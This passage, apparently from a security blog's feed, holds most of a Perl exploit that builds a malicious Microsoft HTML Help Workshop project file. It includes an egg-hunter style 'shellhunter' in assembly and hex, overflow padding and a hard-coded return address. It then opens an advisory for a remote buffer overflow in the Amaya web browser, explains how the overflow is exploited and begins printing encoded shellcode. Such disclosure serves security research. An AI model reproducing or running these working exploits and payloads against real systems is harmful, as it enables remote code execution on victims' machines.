    <span style="color: #666666; font-style: italic;">#01D717EE   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F1   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F4   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F7   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FA   83C4 54          ADD ESP,54                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FD   33FF             XOR EDI,EDI                   |</span>
    <span style="color: #666666; font-style: italic;">#01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |</span>
    <span style="color: #666666; font-style: italic;">#01D71806   EB 0E            JMP SHORT 01D71816            |</span>
    <span style="color: #666666; font-style: italic;">#01D71808   58               POP EAX                       |</span>
    <span style="color: #666666; font-style: italic;">#01D71809   83E8 3C          SUB EAX,3C                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7180C   50               PUSH EAX                      |</span>
    <span style="color: #666666; font-style: italic;">#01D7180D   6A FF            PUSH -1                       |</span>
    <span style="color: #666666; font-style: italic;">#01D7180F   33DB             XOR EBX,EBX                   |</span>
    <span style="color: #666666; font-style: italic;">#01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |</span>
    <span style="color: #666666; font-style: italic;">#01D71814   EB 05            JMP SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71816   E8 EDFFFFFF      CALL 01D71808                 |</span>
    <span style="color: #666666; font-style: italic;">#01D7181B   B8 12121212      MOV EAX,12121212              |</span>
    <span style="color: #666666; font-style: italic;">#01D71820   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71828   83C7 20          ADD EDI,20                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182F  ^75 F7            JNZ SHORT 01D71828            |</span>
    <span style="color: #666666; font-style: italic;">#01D71831   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D71834   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71839  ^75 E0            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D7183B   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7183E   B8 42424242      MOV EAX,42424242              |</span>
    <span style="color: #666666; font-style: italic;">#01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71845  ^75 D4            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71847   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7184A   FFE7             JMP EDI                       |</span>
    <span style="color: #666666; font-style: italic;">#\-----------------------End of Code----------------------/</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>1e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>0e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>3c&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>db&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>23&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>e0&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>d4&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>e7&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">280</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">55</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #0000ff;">$len</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">55</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#0x00401f93   CALL EDI [hhw.exe]</span>
&nbsp;
    <span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt; s.hhp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$hhpprj_file</span> <span style="color: #0000ff;">$hhp_data1</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$ret</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$hhp_data2</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout4</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amaya Web Browser</title>
		<link>http://www.abysssec.com/blog/2008/12/27/224/</link>
		<comments>http://www.abysssec.com/blog/2008/12/27/224/#comments</comments>
		<pubDate>Sat, 27 Dec 2008 01:04:25 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=224</guid>
		<description><![CDATA[Amaya Web Browser &#60;= 11.0.1 Remote Buffer Overflow Exploit Vulnerability discovery &#38; Exploit by SkD We will start with a description of the affected software: Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web. Browsing features are seamlessly integrated with the editing and remote access features [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><strong>Amaya Web Browser &lt;= 11.0.1 Remote Buffer Overflow Exploit</strong></p>
<p style="text-align: center;"><em>Vulnerability discovery &amp; Exploit by SkD</em></p>
<p style="text-align: center;">
<p style="text-align: left;">We will start with a description of the affected software:</p>
<blockquote>
<p style="text-align: left;"><em>Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web. Browsing features are seamlessly integrated with the editing and remote access features in a uniform environment. This follows the original vision of the Web as a space for collaboration and not just a one-way publishing medium.</em></p>
</blockquote>
<p style="text-align: left;">
<p style="text-align: left;">The vulnerability lies in the way Amaya (version 11.0.1 and below) parses HTML tags. Certain tags trigger different vulnerabilites, mostly overflows but each has a different environment for exploitation.</p>
<p style="text-align: left;">I selected that the &#8220;&lt;td nowrap&gt;&#8221; and the &#8220;&lt;title(overflow)&gt;&#8221; tags were the most convenient to use for the exploit.</p>
<p style="text-align: left;">Here is a picture of the debugger&#8217;s state when the buffer overflow occurs with the &#8220;&lt;td nowrap&gt;&#8221; tag:</p>
<p style="text-align: left;"><img class="alignnone size-full wp-image-225" title="i1" src="http://abysssec.com/blog/wp-content/uploads/2008/12/i1.bmp" alt="Debugger state after overflow (Amaya)" width="576" height="347" /></p>
<p style="text-align: left;">As we can see the EIP is fully controllable but to exploit the issue there are quite a few problems:</p>
<ul>
<li>The buffer can only have characters from (hex) 0&#215;00 to 0x7f, 0&#215;80 =&gt; and above will corrupt the buffer with uneeded characters so the putting the shellcode and finding return addresses will be a problem.</li>
<li>Registers point at random places except for ESI which can be controlled to point to a specified location with a correct calculation.</li>
<li>Finding a JMP ESP/CALL ESP in one of the Amaya&#8217;s native modules will be hard because none of them include the allowed characters (we want to make it universal).</li>
<li>Heap layout is randomized.</li>
</ul>
<p>Please note that I was working on this on Windows Vista SP1 so it may differ with XP, 2003, etc.</p>
<p>Okay, so what can we do? This won&#8217;t be exploited the normal way with the classic jmp esp or there isn&#8217;t any SEH handlers to exploit so what is there to do? Like I mentioned in the previous list, ESI points to a controllable region in the stack. This region will vary if a calculation for the junk characters is not correct (you will see what I am talking about in the exploit code).  So to combat this problem we must look to the heap for the clean buffer before transformation. Guess what? EDI points close to this but it is random so I cannot just decrease EDI by a static number!  What I did was a similar method to egghunting as in heap overflows but my new method is called, <em><strong>shellhunting</strong></em>. The conclusion is that the shellhunter must be alphanumerical (well, mostly) and it must look for the shellcode in the heap pointed by EDI.</p>
<p>This is a advanced stack overflow exploit which also involves the heap! Please remember that this will only work on Vista SP 1 ( I tested it on XP but different heap layouts again made it a hassle for me to change :) ).</p>
<p>This is the stack and memory when the buffer involves characters over 0&#215;80 (this is the shellcode):</p>
<p><img class="alignnone size-full wp-image-228" title="i2" src="http://abysssec.com/blog/wp-content/uploads/2008/12/i2.bmp" alt="Stack state" /></p>
<p>And here is the shellcode so you can compare!</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>34&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
